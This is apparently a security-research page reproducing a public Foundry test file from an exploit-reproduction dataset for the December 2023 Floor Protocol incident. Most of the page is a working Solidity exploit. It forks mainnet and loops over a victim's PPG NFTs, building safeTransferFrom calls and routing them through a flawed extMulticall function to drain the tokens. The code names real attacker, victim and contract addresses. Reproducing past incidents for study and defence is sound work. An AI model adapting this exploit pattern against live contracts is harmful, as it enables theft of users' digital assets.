Public reproduction file
src/test/2023-12/FloorProtocol_exp.sol
Public reproduction file for dataset entry FloorProtocol.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~1,6M8// Attacker : https://etherscan.io/address/0x4d0d746e0f66bf825418e6b3def1a46ec3c0b8479// Attack Contract : https://etherscan.io/address/0x7e5433f02f4bf07c4f2a2d341c450e07d753142810// Vulnerable Contract : https://etherscan.io/address/0xc538d17a6aacc5271be5f51b891e2e92c8187edd11// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0xec8f6d8e114caf8425736e0a3d5be2f93bbea6c01a50a7eeb3d61d2634927b4012// Other attack txs: https://explorer.phalcon.xyz/tx/eth/0xfb9942a119c45adab3980639cd829e57b41449e3b82d610892da4bb921e81d9c13// https://explorer.phalcon.xyz/tx/eth/0xa329b27fbe0f7b7f92060a9e5370fdf03d60e5c4835f09d7234e5bbecf417ccf15// @Analysis16// https://protos.com/floor-protocol-exploited-bored-apes-and-pudgy-penguins-gone/17// https://twitter.com/0xfoobar/status/173619035525762706418// https://defimon.xyz/exploit/mainnet/0x7e5433f02f4bf07c4f2a2d341c450e07d753142820interface IPPGToken is IERC721 {21 function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);22}24interface IERC1967Proxy {25 struct CallData {26 address target;27 bytes callData;28 }30 function extMulticall(31 CallData[] memory calls32 ) external returns (bytes[] memory);33}35contract ContractTest is Test {36 IPPGToken private constant PPG = IPPGToken(0xBd3531dA5CF5857e7CfAA92426877b022e612cf8);37 IERC1967Proxy private constant ERC1967Proxy = IERC1967Proxy(0x49AD262C49C7aA708Cc2DF262eD53B64A17Dd5EE);38 address private constant victim = 0xe5442aE87E0fEf3F7cc43E507adF786c311a0529;40 function setUp() public {41 vm.createSelectFork("mainnet", 18_802_287);42 vm.label(address(PPG), "PPG");43 vm.label(address(ERC1967Proxy), "ERC1967Proxy");44 vm.label(victim, "victim");45 }47 function testExploit() public {48 emit log_named_uint("Victim PPG token balance before attack", PPG.balanceOf(victim));49 emit log_named_uint("Attacker PPG token balance before attack", PPG.balanceOf(address(this)));51 IERC1967Proxy.CallData[] memory calls = new IERC1967Proxy.CallData[](PPG.balanceOf(victim));53 for (uint256 i; i < PPG.balanceOf(victim); ++i) {54 uint256 id = PPG.tokenOfOwnerByIndex(victim, i);55 bytes memory data =56 abi.encodeWithSignature("safeTransferFrom(address,address,uint256)", victim, address(this), id);57 IERC1967Proxy.CallData memory callData = IERC1967Proxy.CallData({target: address(PPG), callData: data});58 calls[i] = callData;59 }60 // Flawed function61 ERC1967Proxy.extMulticall(calls);63 emit log_named_uint("Victim PPG token balance after attack", PPG.balanceOf(victim));64 emit log_named_uint("Attacker PPG token balance after attack", PPG.balanceOf(address(this)));65 }67 function onERC721Received(68 address operator,69 address from,70 uint256 tokenId,71 bytes calldata data72 ) external pure returns (bytes4) {73 return this.onERC721Received.selector;74 }75}Analysis
Dataset entry
Public Foundry test for “FloorProtocol” (2023-12-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
22 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-12/BCT_exp.solSame month in the dataset · 239 lines
- src/test/2023-12/BEARNDAO_exp.solSame month in the dataset · 102 lines
- src/test/2023-12/Bob_exp.solSame month in the dataset · 113 lines
- src/test/2023-12/bZx_exp.solSame month in the dataset · 196 lines
- src/test/2023-12/CCV_exp.solSame month in the dataset · 78 lines
- src/test/2023-12/Channels_exp.solSame month in the dataset · 162 lines
- src/test/2023-12/ChannelsFinance_exp.solSame month in the dataset · 212 lines
- src/test/2023-12/DominoTT_exp.solSame month in the dataset · 123 lines
- src/test/2023-12/ElephantStatus_exp.solSame month in the dataset · 111 lines
- src/test/2023-12/GoodCompound_exp.solSame month in the dataset · 181 lines
- src/test/2023-12/GoodDollar_exp.solSame month in the dataset · 175 lines
- src/test/2023-12/HNet_exp.solSame month in the dataset · 123 lines
- src/test/2023-12/HYPR_exp.solSame month in the dataset · 65 lines
- src/test/2023-12/KEST_exp.solSame month in the dataset · 127 lines
- src/test/2023-12/MAMO_exp.solSame month in the dataset · 75 lines
- src/test/2023-12/NFTTrader_exp.solSame month in the dataset · 195 lines
- src/test/2023-12/PHIL_exp.solSame month in the dataset · 53 lines
- src/test/2023-12/PineProtocol_exp.solSame month in the dataset · 118 lines
- src/test/2023-12/Telcoin_exp.solSame month in the dataset · 82 lines
- src/test/2023-12/TIME_exp.solSame month in the dataset · 112 lines
- src/test/2023-12/TransitFinance_exp.solSame month in the dataset · 117 lines
- src/test/2023-12/UnverifiedContr_0x431abb_exp.solSame month in the dataset · 151 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x4d0d746e0f66bf825418e6b3def1a46ec3c0b847
- Attack Contract
0x7e5433f02f4bf07c4f2a2d341c450e07d7531428
- Vulnerable Contract
0xc538d17a6aacc5271be5f51b891e2e92c8187edd
- Attack Tx
0xec8f6d8e114caf8425736e0a3d5be2f93bbea6c01a50a7eeb3d61d2634927b40
- Explorer: https://etherscan.io/address/0x4d0d746e0f66bf825418e6b3def1a46ec3c0b847
- Explorer: https://etherscan.io/address/0x7e5433f02f4bf07c4f2a2d341c450e07d7531428
- Explorer: https://etherscan.io/address/0xc538d17a6aacc5271be5f51b891e2e92c8187edd
- Reference: https://twitter.com/0xfoobar/status/1736190355257627064
File record
- Name
- FloorProtocol
- Path
- src/test/2023-12/FloorProtocol_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 086f363615c61fb6bbc4f1a2165d0f63b90ba8ae
- Language
- Solidity
- Size
- 76 lines
- Date
- 2023-12-17
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-12/FloorProtocol_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 086f363615c61fb6bbc4f1a2165d0f63b90ba8ae, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.